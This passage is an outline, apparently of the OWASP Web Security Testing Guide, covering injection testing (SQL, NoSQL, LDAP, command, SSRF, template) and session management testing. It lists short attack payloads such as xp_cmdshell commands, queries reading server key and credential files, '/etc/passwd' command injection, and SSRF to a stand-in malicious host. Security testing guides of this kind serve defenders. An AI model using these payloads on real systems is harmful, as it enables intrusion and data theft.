      4. URL Encoding
      5. Character Encoding
      6. String Concatenation
      7. Hex Encoding
      8. Declare Variables
      9. Alternative Expression of 'or 1 = 1'
  3. Remediation
    1. SQL Injection Prevention CheatSheet.
    2. Database Security CheatSheet.
    3. Input Validation CheatSheet.
  4. Tools
    1. SQL Injection Fuzz Strings
    2. sqlbftools
    3. Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
    4. Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool
  5. References
    1. Top 10 2017-A1-Injection
    2. SQL Injection
    3. Oracle
    4. MySQL
    5. SQL Server
    6. PostgreSQL
    7. MS Access
    8. NoSQL
    9. ORM
    10. Client-side
  6. Whitepapers
    1. Victor Chapela: “Advanced SQL Injection”
    2. Chris Anley: “More Advanced SQL Injection”
    3. David Litchfield: “Data-mining with SQL Injection and Inference”
    4. Imperva: “Blinded SQL Injection”
    5. Ferruh Mavituna: “SQL Injection Cheat Sheet”
    6. Kevin Spett from SPI Dynamics: “SQL Injection”
    7. Kevin Spett from SPI Dynamics: “Blind SQL Injection”
    8. “ZeQ3uL” (Prathan Phongthiproek) and “Suphot Boonchamnan”: “Beyond SQLi: Obfuscate and Bypass”
    9. Adi Kaploun and Eliran Goshen, Check Point Threat Intelligence & Research Team: “The Latest SQL Injection
5. Testing for Oracle
  1. How to Test
    1. How the PL/SQL Gateway Works
      1. 1. The web server accepts a request from a web client and determines if it should be processed by the PL/SQL gateway
      2. 2. The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.
      3. 3. The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server
      4. 4. The database server executes the procedure and sends the results back to the Gateway as HTML.
      5. 5. The gateway sends the response, via the web server, back to the client.
      6. Determining if the PL/SQL Gateway is Running
      7. Server Response Headers
      8. The NULL Test
      9. http://www.example.com/pls/dad/null
      10. Known Package Access
      11. Accessing Arbitrary PL/SQL Packages in the Database
    2. Bypassing the Exclusion List - Method 1
      1. http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
      2. http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
      3. http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC
    3. Bypassing the Exclusion List - Method 2
      1. http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC
    4. Bypassing the Exclusion List - Method 3
      1. http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
    5. Bypassing the Exclusion List - Method 4
      1. w.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC
    6. Bypassing the Exclusion List - Method 5
      1. http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
    7. Bypassing the Exclusion List - Method 6
      1. http://www.example.com/pls/dad/foo.bar?xyz=123
    8. Assessing Custom PL/SQL Web Applications
  2. Tools
    1. Orascan
  3. References
    1. Hackproofing Oracle Application Server (A Guide to Securing Oracle 9)
    2. Oracle PL/SQL Injection
6. Testing for MySQL
  1. How to Test
    1. Versions
      1. From Version 4.0: UNION
      2. From Version 4.1: Subqueries
      3. From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA
      4. From Version 5.0.2: Triggers
    2. The Single Quotes Problem
      1. 1. Web app escapes single quotes ' => \'
      2. 2. Web app does not escape single quotes ' => '
    3. Multiple Mixed Queries
      1. 1 ; update tablename set code='javascript code' where 1 --
    4. Information Gathering
      1. Fingerprinting MySQL
      2. 1 /*! and 1=0 */
      3. 1. By using the global variable @@version
      4. 2. By using the function VERSION()
      5. 3. By using comment fingerprinting with a version number /*!40110 and 1=0*/
      6. Login User
      7. 1. USER(): the user connected to the MySQL Server.
      8. 2. CURRENT_USER(): the internal user who is executing the query.
      9. Database Name in Use
      10. 1 AND 1=0 UNION SELECT DATABASE()
      11. 1 AND DATABASE() like 'db%'
      12. INFORMATION_SCHEMA
    5. Attack Vectors
      1. Write in a File
      2. Select * from table into outfile '/tmp/file'
      3. Read from a File
      4. load_file('filename')
    6. Standard SQL Injection Attack
    7. Out of Band SQL Injection
    8. Blind SQL Injection
  2. Tools
    1. Francois Larouche: Multiple DBMS SQL Injection tool
    2. Reversing.org - sqlbftools
    3. Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
    4. Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool
  3. References
    1. Chris Anley: “Hackproofing MySQL”
  4. Case Studies
    1. Zeelock: Blind Injection in MySQL Databases
7. Testing for SQL Server
  1. How to Test
    1. SQL Server Characteristics
      1. comment operator: --
      2. query separator: ;
      3. xp_cmdshell
      4. xp_regread
      5. xp_regwrite
      6. sp_makewebtask
      7. xp_sendmail
    2. Example 1: Testing for SQL Injection in a GET Request
      1. https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
    3. Example 2: Testing for SQL Injection in a GET Request
      1. https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
    4. Example 3: Testing in a POST Request
      1. The error message obtained when a '
    5. Example 4: Yet Another (Useful) GET Example
      1. a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
    6. Example 5: Custom `xp_cmdshell`
    7. Example 6: Referer / User-Agent
      1. Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--
      2. User-Agent: user_agent', 'some_ip'); [SQL CODE]--
    8. Example 7: SQL Server as a Port Scanner
      1. select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--
    9. Example 8: Upload of Executables
    10. Blind SQL Injection Attacks
      1. Trial and Error
      2. If Multiple Error Messages Displayed
      3. Timing Attacks
      4. Checking for Version and Vulnerabilities
    11. Example 9: Bruteforce of Sysadmin Password
      1. select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
  2. Tools
    1. Bernardo Damele A. G.: sqlmap, automatic SQL injection tool
  3. References
    1. David Litchfield: “Data-mining with SQL Injection and Inference”
    2. Chris Anley, “(more) Advanced SQL Injection”
    3. Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by Example”
    4. Alexander Chigrik: “Useful undocumented extended stored procedures”
    5. Antonin Foller: “Custom xp_cmdshell, using shell object”
    6. SQL Injection
    7. Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection
8. Testing PostgreSQL
  1. How to Test
    1. Identifying PostgreSQL
      1. Examples
      2. http://www.example.com/store.php?id=1 AND 1::int=1
      3. http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
    2. Blind Injection
      1. String Length LENGTH(str)
      2. Extract a substring from a given string SUBSTR(str,index,offset)
      3. String representation with no single quotes CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
    3. Single Quote Unescape
      1. chr(n) : Returns the character whose ASCII value corresponds to the number n
      2. ascii(n) : Returns the ASCII value which corresponds to the character n
    4. Attack Vectors
      1. Current User
      2. SELECT user
      3. SELECT current_user
      4. SELECT session_user
      5. SELECT usename FROM pg_user
      6. SELECT getpgusername()
      7. Current Database
      8. http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--
      9. Reading from a File
      10. COPY statement
      11. pg_read_file() internal function (starting from PostgreSQL 8.1)
      12. COPY
      13. /store.php?id=1; CREATE TABLE file_store(id serial, data text)--
      14. /store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
      15. pg_read_file()
      16. SELECT pg_read_file('server.key',0,1000);
      17. Writing to a File
      18. /store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
      19. Shell Injection
  2. References
    1. Testing for SQL Injection
    2. SQL Injection Prevention Cheat Sheet
    3. PostgreSQL Official Documentation
    4. Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool
9. Testing for MS Access
  1. How to Test
    1. Fingerprinting
      1. single quote, double quote,
    2. Basic Testing
      1. No comments characters
      2. No stacked queries
      3. No LIMIT operator
      4. No SLEEP or BENCHMARK alike operators
      5. http://www.example.com/page.asp?user=admin'%00&pass=foo
      6. http://www.example.com/page.app?user=admin'%16&pass=foo
    3. Attributes Enumeration
      1. ' GROUP BY Id%00
    4. Obtaining Database Schema
      1. http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
    5. Blind SQL Injection Testing
      1. http://www.example.com/index.php?myId=[sql]
  2. References
    1. MS Access SQL injection cheet sheet
    2. Access Through Access - Brett Moore
    3. Access SQL Injection - Brett Moore
    4. MS Access: Functions
    5. Microsoft Access - Wikipedia
10. Testing for NoSQL Injection
  1. How to Test
    1. NoSQL Injection Vulnerabilities in MongoDB
      1. Example 1
      2. characters were passed unsanitized, it would trigger a database error.
      3. ' " \ ; { }
      4. Example 2
      5. $where: function() { //arbitrary JavaScript here }
    2. References
      1. Injection Payloads
      2. Whitepapers
      3. Bryan Sullivan from Adobe: “Server-Side JavaScript Injection”
      4. Bryan Sullivan from Adobe: “NoSQL, But Even Less Security”
      5. Erlend from Bekk Consulting: “[Security] NOSQL-injection”
      6. Felipe Aragon from Syhunt: “NoSQL/SSJS Injection”
      7. MongoDB Documentation: “How does MongoDB address SQL or Query injection?”
      8. PHP Documentation: “MongoCollection::find”
      9. Hacking NodeJS and MongoDB
      10. Attacking NodeJS and MongoDB
11. Testing for ORM Injection
  1. How to Test
    1. Identify the ORM Layer
    2. Abusing the ORM Layer
      1. Weak ORM Implementation
      2. Vulnerable ORM Layer
    3. References
      1. Wikipedia - ORM
      2. New Methods for Exploiting ORM Injections in Java Applications (HITB16)
      3. HITB2016 Slides - ORM Injections in Java Applications]
      4. Fixing SQL Injection: ORM is not enough
      5. PayloadAllTheThings - HQL Injection
12. Testing for Client-side
  1. Objectives
    1. The following test scenario will validate that proper input validation is conducted.
  2. How to Test
    1. Identify the Usage of Web SQL DB
      1. openDatabase()
      2. transaction()
      3. executeSQL()
    2. Web SQL DB Injection
      1. Bypassing Conditions
  3. Remediation
    1. Follow the same remediation from the Testing for SQL Injection’s Remediation Section.
  4. References
    1. W3C Web SQL Database
    2. Apple’s JavaScript Database Tutorial
    3. Tutorialspoint HTML5 Web SQL Database
    4. Portswigger’s Client-Side SQL Injection
13. Testing for LDAP Injection
  1. Objectives
    1. Identify LDAP injection points.
    2. Assess the severity of the injection.
  2. How to Test
    1. Example 1: Search Filters
      1. searchfilter="(cn="+user+")"
    2. Example 2: Login
      1. searchlogin= "(&(uid="+user+")(userpassword={md5}"+base64(pack("h*"md5(pass)))+"))";
  3. Tools
    1. Softerra LDAP Browser
  4. References
    1. LDAP Injection Prevention Cheat Sheet
  5. Whitepapers
    1. Sacha Faust: LDAP Injection: Are Your Applications Vulnerable?
    2. IBM paper: Understanding LDAP
    3. RFC 1960: A String Representation of LDAP Search Filters
    4. LDAP injection
14. Testing for XML Injection
  1. Objectives
    1. Identify XML injection points.
    2. Assess the types of exploits that can be attained and their severities.
  2. How to Test
    1. Discovery
      1. Single quote: '
      2. Double quote: "
      3. Angular parentheses: > and <
      4. Comment tag: 
      5. Ampersand: &
      6. CDATA section delimiters: <!\[CDATA\[ / ]]>
    2. Tag Injection
  3. Source Code Review
  4. Tools
    1. XML Injection Fuzz Strings (wfuzz tool)
  5. References
    1. XML Injection
    2. Gregory Steuck, “XXE (Xml eXternal Entity) attack”
    3. OWASP XXE Prevention Cheat Sheet
15. Testing for SSI Injection
  1. Objectives
    1. Identify SSI injection points.
    2. Assess the severity of the injection.
  2. How to Test
    1. First determine if the web server supports SSI directives
    2. The next step is determining all the possible user input vectors and testing to see if the SSI injection is exploitable.
  3. Tools
    1. Web Proxy Burp Suite
    2. OWASP ZAP
    3. String searcher: grep
  4. References
    1. Nginx SSI module
    2. Apache: Module mod_include
    3. IIS: Server Side Includes directives
    4. Apache Tutorial: Introduction to Server Side Includes
    5. Apache: Security Tips for Server Configuration
    6. SSI Injection instead of JavaScript Malware
    7. IIS: Notes on Server-Side Includes (SSI) syntax
    8. Header Based Exploitation
16. Testing for XPath Injection
  1. Objectives
    1. Identify XPATH injection points.
  2. How to Test
    1. If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result.
  3. References
    1. Amit Klein: “Blind XPath Injection”
    2. XPath 1.0 specifications
17. Testing for IMAP SMTP Injection
  1. Objectives
    1. Identify IMAP/SMTP injection points.
    2. Understand the data flow and deployment structure of the system.
    3. Assess the injection impacts.
  2. How to Test
    1. Identifying Vulnerable Parameters
    2. Understanding the Data Flow and Deployment Structure of the Client
    3. IMAP/SMTP Command Injection
  3. References
    1. RFC 0821 “Simple Mail Transfer Protocol”
    2. RFC 3501 “Internet Message Access Protocol - Version 4rev1”
    3. Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers”
18. Testing for Command Injection
  1. Objectives
    1. Identify and assess the command injection points.
  2. How to Test
    1. http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
  3. Special Characters for Comand Injection
    1. cmd1|cmd2 : Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
    2. cmd1;cmd2 : Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
    3. cmd1||cmd2 : Command 2 will only be executed if command 1 execution fails.
    4. cmd1&&cmd2 : Command 2 will only be executed if command 1 execution succeeds.
    5. $(cmd) : For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
    6. cmd : It’s used to execute specific command. For example, whoami
    7. >(cmd) : >(ls)
    8. <(cmd) : <(ls)
  4. Code Review Dangerous API
    1. Java
      1. Runtime.exec()
    2. C/C++
      1. system
      2. exec
      3. ShellExecute
    3. Python
      1. exec
      2. eval
      3. os.system
      4. os.popen
      5. subprocess.popen
      6. subprocess.call
    4. PHP
      1. system
      2. shell_exec
      3. exec
      4. proc_open
      5. eval
  5. Remediation
    1. Sanitization
    2. Permissions
  6. Tools
    1. OWASP WebGoat
    2. Commix
  7. References
    1. Penetration Testing for Web Applications (Part Two)
    2. OS Commanding
    3. CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
    4. ENV33-C. Do not call system()
19. Testing for Format String Injection
  1. Objectives
    1. Assess whether injecting format string conversion specifiers into user-controlled fields causes undesired behaviour from the application.
  2. Static Analysis
    1. C and C++: Flawfinder
    2. Java: FindSecurityBugs rule FORMAT_STRING_MANIPULATION
    3. PHP: String formatter Analyzer in phpsa
  3. Manual Code Inspection
  4. Conversion Specifier Injection
20. Testing for Incubated Vulnerability
  1. Objectives
    1. Identify injections that are stored and require a recall step to the stored injection.
    2. Understand how a recall step could occur.
    3. Set listeners or activate the recall step if possible.
  2. How to Test
    1. Black-Box Testing
      1. File Upload Example
      2. XSS Example on a Bulletin Board
      3. SQL Injection Example
      4. Misconfigured Server
    2. Gray-Box Testing
      1. Examining input validation is key in mitigating against this vulnerability.
      2. To combat the back door issue for client-side attacks, output validation must also be employed
  3. Tools
    1. XSS-proxy
    2. OWASP Zed Attack Proxy (ZAP)
    3. Burp Suite
    4. Metasploit
  4. Whitepapers
    1. Web Application Security Consortium “Threat Classification, Cross-site scripting”
21. Testing for HTTP Splitting Smuggling
  1. Objectives
    1. Assess if the application is vulnerable to splitting, identifying what possible attacks are achievable.
    2. Assess if the chain of communication is vulnerable to smuggling, identifying what possible attacks are achievable.
  2. How to Test
    1. Black-Box Testing
      1. HTTP Splitting
    2. Gray-Box Testing
      1. HTTP Splitting
      2. HTTP Smuggling
  3. References
    1. Amit Klein, “Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics”
    2. Amit Klein: “HTTP Message Splitting, Smuggling and Other Animals”
    3. Amit Klein: “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)”
    4. Amit Klein: “HTTP Response Smuggling”
    5. Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: “HTTP Request Smuggling”
22. Testing for HTTP Incoming Requests
  1. Objectives
    1. Monitor all incoming and outgoing HTTP requests to the Web Server to inspect any suspicious requests.
    2. Monitor HTTP traffic without changes of end user Browser proxy or client-side application.
  2. How to Test
    1. Reverse Proxy
      1. 1. Install Fiddler or Charles on Web Server
      2. 2. Configure the Fiddler or Charles as Reverse Proxy
      3. 3. Capture the HTTP traffic
      4. 4. Inspect HTTP traffic
      5. 5. Modify HTTP requests and replay the modified requests for testing
    2. Port Forwarding
      1. 1. Install the Charles or port forwarding on another machine or web Server
      2. 2. Configure the Charles as Socks proxy as port forwarding.
    3. TCP-level Network Traffic Capture
      1. 1. Activate TCPDump or WireShark on Web Server to capture network traffic
      2. 2. Monitor the captured files (PCAP)
      3. 3. Edit PCAP files by Ostinato tool based on need
      4. 4. Reply the HTTP requests
  3. Tools
    1. Fiddler
    2. TCPProxy
    3. Charles Web Debugging Proxy
    4. WireShark
    5. PowerEdit-Pcap
    6. pcapteller
    7. replayproxy
    8. Ostinato
  4. References
    1. Charles Web Debugging Proxy
    2. Fiddler
    3. TCPDUMP
    4. Ostinato
23. Testing for Host Header Injection
  1. Objectives
    1. Assess if the Host header is being parsed dynamically in the application.
    2. Bypass security controls that rely on the header.
  2. How to Test
    1. X-Forwarded Host Header Bypass
    2. Web Cache Poisoning
    3. Password Reset Poisoning
  3. References
    1. What is a Host Header Attack?
    2. Host Header Attack
    3. Practical HTTP Host Header Attacks
24. Testing for Server-side Template Injection
  1. Objectives
    1. Detect template injection vulnerability points.
    2. Identify the templating engine.
    3. Build the exploit.
  2. How to Test
    1. Identify Template Injection Vulnerability
      1. a{{bar}}b
      2. a{{7*7}}
      3. {var} ${var} {{var}} <%var%> [% var %]
    2. Identify the Templating Engine
      1. SSTI vulnerability and the templating engine various tools are available including Tplmap or the Backslash Powered
      2. Scanner Burp Suite extension.
    3. Build the RCE Exploit
      1. For template authors sections covering basic syntax.
      2. Security considerations sections.
      3. Lists of built-in methods, functions, filters, and variables.
      4. Lists of extensions/plugins.
  3. Tools
    1. Tplmap
    2. Backslash Powered Scanner Burp Suite extension
    3. Template expression test strings/payloads list
  4. References
    1. James Kettle: Server-Side Template Injection:RCE for the modern webapp (whitepaper)
    2. Server-Side Template Injection
    3. Exploring SSTI in Flask/Jinja2
    4. Server Side Template Injection: from detection to Remote shell
    5. Extreme Vulnerable Web Application
    6. Divine Selorm Tsa: Exploiting server side template injection with tplmap
    7. Exploiting SSTI in Thymeleaf
25. Testing for Server-Side Request Forgery
  1. Objectives
    1. Identify SSRF injection points.
    2. Test if the injection points are exploitable.
    3. Asses the severity of the vulnerability
  2. How to Test
    1. Load the Contents of a File
      1. GET https://example.com/page?page=https://malicioussite.com/shell.php
    2. Access a Restricted Page
      1. GET https://example.com/page?page=http://localhost/admin
    3. Fetch a Local File
      1. GET https://example.com/page?page=file:///etc/passwd
    4. HTTP Methods Used
    5. Common Filter Bypass
      1. Using alternative IP representation that evaluate to 127.0.0.1 :
      2. Decimal notation: 2130706433
      3. Octal notation: 017700000001
      4. IP shortening: 127.1
      5. String obfuscation
      6. Registering your own domain that resolves to 127.0.0.1
      7. Using the @ character to separate between the userinfo and the host: https://expected-domain@attackerdomain
      8. URL fragmentation with the # character: https://attacker-domain#expected-domain
      9. URL encoding
      10. Fuzzing
      11. Combinations of all of the above
  3. Remediation
    1. Server-Side Request Forgery Prevention Cheat Sheet
  4. References
    1. swisskyrepo: SSRF Payloads
    2. Reading Internal Files Using SSRF Vulnerability
    3. Abusing the AWS Metadata Service Using SSRF Vulnerabilities
    4. OWASP Server Side Request Forgery Prevention Cheatsheet
    5. Portswigger: SSRF
    6. Portswigger: Blind SSRF
    7. Bugcrowd Webinar: SSRF
    8. Hackerone Blog: SSRF
    9. Hacker101: SSRF
    10. URI Generic Syntax
4.6 Session Management Testing
1. Testing for Session Management Schema
  1. Objectives
    1. Gather session tokens, for the same user and for different users where possible.
    2. Analyze and ensure that enough randomness exists to stop session forging attacks.
    3. Modify cookies that are not signed and contain information that can be manipulated
  2. How to Test
    1. Black-Box Testing
      1. Are all Set-Cookie directives tagged as Secure ?
      2. Do any Cookie operations take place over unencrypted transport?
      3. Can the Cookie be forced over unencrypted transport?
      4. If so, how does the application maintain security?
      5. Are any Cookies persistent?
      6. What Expires times are used on persistent cookies, and are they reasonable?
      7. Are cookies that are expected to be transient configured as such?
      8. What HTTP/1.1 Cache-Control settings are used to protect Cookies?
      9. What HTTP/1.0 Cache-Control settings are used to protect Cookies?
      10. Cookie Collection
      11. How many cookies are used by the application?
      12. Which parts of the application generate or modify the cookie?
      13. Which parts of the application require this cookie in order to be accessed and utilized?
      14. Session Analysis
      15. Token Structure & Information Leakage
      16. Hex
      17. Base64
      18. MD5
      19. What parts of the Session ID are static?
      20. What clear-text confidential information is stored in the Session ID?
      21. What information can be deduced from the structure of the Session ID?
      22. What portions of the Session ID are static for the same log in conditions?
      23. What obvious patterns are present in the Session ID as a whole, or individual portions?
      24. Session ID Predictability and Randomness
      25. Are the Session IDs provably random in nature? Can the resulting values be reproduced?
      26. Do the same input conditions produce the same ID on a subsequent run?
      27. Are the Session IDs provably resistant to statistical or cryptanalysis?
      28. What elements of the Session IDs are time-linked?
      29. What portions of the Session IDs are predictable?
      30. Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?
      31. Cookie Reverse Engineering
      32. What character set is used in the cookie?
      33. Is the cookie composed of different sub-parts carrying different pieces of information?
      34. Brute Force Attacks
      35. How long would a brute-force attack on all possible Session IDs take?
      36. Is the Session ID space large enough to prevent brute forcing?
      37. Do delays between connection attempts with different Session IDs mitigate the risk of this attack?
    2. Gray-Box Testing
      1. Random Session Token
      2. Token length
      3. Session Time-out
      4. Cookie configuration
      5. non-persistent: only RAM memory
      6. secure (set only on HTTPS channel):
      7. HTTPOnly (not readable by a script)
  3. Tools
    1. OWASP ZAP
    2. Burp Sequencer
    3. YEHG’s JHijack
  4. References
    1. RFC 2965 “HTTP State Management Mechanism”
    2. RFC 1750 “Randomness Recommendations for Security”
    3. Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001)
    4. Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis
    5. Correlation Coefficient
    6. ENT
    7. DMA[2005-0614a] - ‘Global Hauri ViRobot Server cookie overflow’
    8. Gunter Ollmann: “Web Based Session Management”
    9. OWASP Code Review Guide
2. Testing for Cookies Attributes
  1. Objectives
    1. Ensure that the proper security configuration is set for cookies.
  2. How to Test
    1. Cookie Attributes
      1. The Secure attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as HTTPS
      2. The HttpOnly attribute is used to help prevent attacks such as session leakage, since it does not allow the cookie to be accessed via a client-side script such as JavaScript
      3. The Domain attribute is used to compare the cookie’s domain against the domain of the server for which the HTTP request is being made.
      4. The Path attribute plays a major role in setting the scope of the cookies in conjunction with the domain .
      5. The Expires attribute is used to: 1. set persistent cookies 2. limit lifespan if a session lives for too long 3. remove a cookie forcefully by setting it to a past date
      6. The SameSite attribute is used to assert that a cookie ought not to be sent along with cross-site requests.
      7. The Strict value is the most restrictive usage of SameSite , allowing the browser to send the cookie only to first-party context without top-level navigation.
      8. The Lax value is less restrictive than Strict .
      9. The None value specifies that the browser will send the cookie on cross-site requests
    2. Cookie Prefixes
      1. The __Host- prefix expects cookies to fulfill the following conditions: 1. The cookie must be set with the Secure attribute. 2. The cookie must be set from a URI considered secure by the user agent. 3. Sent only to the host who set the cookie and MUST NOT include any Domain attribute. 4. The cookie must be set with the Path attribute with a value of / so it would be sent to every request to the host.
      2. The __Secure- prefix is less restrictive and can be introduced by adding the case-sensitive string __Secure- to the cookie name. Any cookie that matches the prefix __Secure- would be expected to fulfill the following conditions: 1. The cookie must be set with the Secure attribute. 2. The cookie must be set from a URI considered secure by the user agent.
    3. Strong Practices
      1. Putting all this together, we can define the most secure cookie attribute configuration as: Set-Cookie: __Host-SID= <session token>; path=/; Secure; HttpOnly; SameSite=Strict .
  3. Tools
    1. OWASP Zed Attack Proxy Project
    2. Web Proxy Burp Suite
  4. Browser Plug-in
    1. Tamper Data for FF Quantum
    2. “FireSheep” for FireFox
    3. “EditThisCookie” for Chrome
    4. “Cookiebro - Cookie Manager” for FireFox
  5. References
    1. RFC 2965 - HTTP State Management Mechanism
    2. RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1
    3. Same-Site Cookies - draft-ietf-httpbis-cookie-same-site-00
    4. The important “expires” attribute of Set-Cookie
    5. HttpOnly Session ID in URL and Page Body
3. Testing for Session Fixation
  1. Objectives
    1. Analyze the authentication mechanism and its flow.
    2. Force cookies and assess the impact.
  2. How to Test
    1. make a request to the site to be tested
    2. obtain the response
    3. As no new cookie has been issued upon a successful authentication, the tester knows that it is possible to perform session hijacking unless the integrity of the session cookie is ensured.
    4. Test with Forced Cookies
      1. 1. Reach the login page of the website.
      2. Save a snapshot of the cookie jar before logging in,
      3. excluding cookies which contain the __Host- or __Secureprefix in their name.
      4. Login to the website as the victim and reach any page offering a secure function requiring authentication.
      5. Set the cookie jar to the snapshot taken at step 2.
      6. Trigger the secure function identified at step 3.
      7. Observe whether the operation at step 5 has been performed successfully.
      8. Clear the cookie jar, login as the attacker and reach the page at step 3
      9. Write in the cookie jar, one by one, the cookies saved at step 2
      10. Trigger again the secure function identified at step 3.
      11. Clear the cookie jar and login again as the victim.
      12. Observe whether the operation at step 9 has been performed successfully
  3. Remediation
    1. Implement a session token renewal after a user successfully authenticates.
  4. Tools
    1. OWASP ZAP
  5. References
    1. Session Fixation
    2. ACROS Security
    3. Chris Shiflett
4. Testing for Exposed Session Variables
  1. Objectives
    1. Ensure that proper encryption is implemented.
    2. Review the caching configuration.
    3. Assess the channel and methods’ security.
  2. How to Test
    1. Testing for Encryption & Reuse of Session Tokens Vulnerabilities
      1. If the Session ID could be presented by an attacker to the application to gain access, then it must be protected in transit to mitigate that risk.
    2. Testing for Proxies & Caching Vulnerabilities
      1. In general, the Session ID should never be sent over unencrypted transport and should never be cached.
      2. The application should also be configured to secure data in caches over both HTTP/1.0 and HTTP/1.1
    3. Testing for GET & POST Vulnerabilities
      1. In general, GET requests should not be used, as the Session ID may be exposed in Proxy or Firewall logs.
      2. All server-side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET.
    4. Testing for Transport Vulnerabilities
      1. How are Session IDs transferred? e.g., GET, POST
      2. Are Session IDs always sent over encrypted transport by default?
      3. s it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS?
      4. What cache-control directives are applied to requests/responses passing Session IDs?
      5. Are these directives always present? If not, where are the exceptions?
      6. Are GET requests incorporating the Session ID used?
      7. If POST is used, can it be interchanged with GET?
  3. References
    1. RFCs 2109 & 2965 – HTTP State Management Mechanism
    2. RFC 2616 – Hypertext Transfer Protocol
5. Testing for Cross Site Request Forgery
  1. Objectives
    1. Determine whether it is possible to initiate requests on a user’s behalf that are not initiated by the user.
  2. How to Test
    1. PortSwigger
  3. Remediation
    1. OWASP CSRF Prevention Cheat Sheet
  4. Tools
    1. OWASP ZAP
    2. CSRF tester
    3. Pinata-csrf-tool
  5. References
    1. Peter W: “Cross-Site Request Forgeries”
    2. Thomas Schreiber: “Session Riding”
    3. Oldest known post
    4. Cross-site Request Forgery FAQ
    5. A Most-Neglected Fact About CSRF
    6. Multi-POST CSRF
    7. Complete Application pwnage via Multi POST XSRF
6. Testing for Logout Functionality
  1. Objectives
    1. Assess the logout UI.
    2. Analyze the session timeout and if the session is properly killed after logout.
  2. How to Test
    1. Testing for Log Out User Interface
      1. Verify the appearance and visibility of the log out functionality in the user interface.
    2. Testing for Server-Side Session Termination
      1. store the values of cookies that are used to identify a session
      2. invoke the log out function and observe the behavior of the application
      3. navigate to a page that is only visible in an authenticated session "back" button
      4. If a cached version of the page is displayed reload the page
      5. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application.
    3. Testing for Session Timeout
      1. Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays.
    4. Testing for Session Termination in SSO
      1. Perform a log out in the tested application.
      2. Verify if there is a application directory which allows the user to log back in to the application without authentication.
      3. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested.
      4. perform a log out in the SSO system
      5. Then try to access an authenticated area
  3. Tools
    1. Burp Suite - Repeater
  4. References
    1. Cookie replay attacks in ASP.NET when using forms authentication
7. Testing Session Timeout
  1. Objectives
    1. Identify vulnerable session cookies.
    2. Hijack vulnerable cookies and assess the risk level.
  2. How to Test
    1. Login to the website as the victim and reach any page offering a secure function requiring authentication.
    2. Delete from the cookie jar all the cookies which satisfy any of the following conditions.
    3. Save a snapshot of the cookie jar.
    4. Trigger the secure function identified at step 1.
    5. Observe whether the operation at step 4 has been performed successfully. If so, the attack was successful.
    6. Clear the cookie jar, login as the attacker and reach the page at step 1.
    7. Write in the cookie jar, one by one, the cookies saved at step 3.
    8. Trigger again the secure function identified at step 1.
    9. Clear the cookie jar and login again as the victim.
    10. Observe whether the operation at step 8 has been performed successfully in the victim’s account.
  3. Tools
    1. OWASP ZAP
    2. JHijack - a numeric session hijacking tool
  4. Subtopic 4
8. Testing for Session Puzzling
  1. Objectives
    1. Identify all session variables.
    2. Break the logical flow of session generation.
  2. How to Test
    1. Black-Box Testing
      1. This vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid.
    2. Gray-Box Testing
      1. The most effective way to detect these vulnerabilities is via a source code review.
  3. Remediation
    1. Session variables should only be used for a single consistent purpose.
  4. References
    1. Session Puzzles
    2. Session Puzzling and Session Race Conditions
9. Testing for Session Hijacking
  1. Objectives
    1. Identify vulnerable session cookies.
    2. Hijack vulnerable cookies and assess the risk level.
  2. How to Test
